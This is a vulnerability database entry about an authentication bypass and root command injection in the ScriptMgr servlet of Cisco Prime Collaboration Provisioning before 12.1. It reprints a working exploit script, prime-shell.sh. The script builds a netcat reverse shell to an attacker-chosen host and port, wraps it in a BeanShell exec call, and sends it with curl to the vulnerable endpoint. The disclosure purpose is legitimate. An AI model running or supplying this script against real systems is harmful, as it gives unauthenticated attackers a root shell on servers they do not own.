var-201705-3737
Vulnerability from variot

A vulnerability in the web interface for Cisco Prime Collaboration Provisioning could allow an unauthenticated, remote attacker to bypass authentication and perform command injection with root privileges. The vulnerability is due to missing security constraints in certain HTTP request methods, which could allow access to files via the web interface. An attacker could exploit this vulnerability by sending a crafted HTTP request to the targeted application. This vulnerability affects Cisco Prime Collaboration Provisioning Software Releases prior to 12.1. Cisco Bug IDs: CSCvc98724. Authentication is not required to exploit this vulnerability.The specific flaw exists within the ScriptMgr servlet, which listens on TCP port 443 by default. A crafted request can bypass authentication for this resource. An attacker can leverage this vulnerability to execute arbitrary code under the context of root. An attacker can exploit this issue to bypass the authentication mechanism and perform unauthorized actions. This may lead to further attacks. The software provides IP communications services functionality for IP telephony, voice mail, and unified communications environments.

Usage: ./prime-shell.sh

function encode() { echo "$1" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"' }

TARGET=$1 ATTACKER=$2 PORT=$3

BASH=$(encode "/bin/bash") COMMAND=$(encode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER $PORT >/tmp/f") SCRIPTTEXT="Runtime.getRuntime().exec(new%20String[]{\"$BASH\",\"-c\",\"$COMMAND\"});"

curl --head -gk "https://$TARGET/cupm/ScriptMgr?command=compile&language=bsh&script=foo&scripttext=$SCRIPTTEXT"

Show details on source website

To clipboard 

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Sightings

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  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
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  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
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  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
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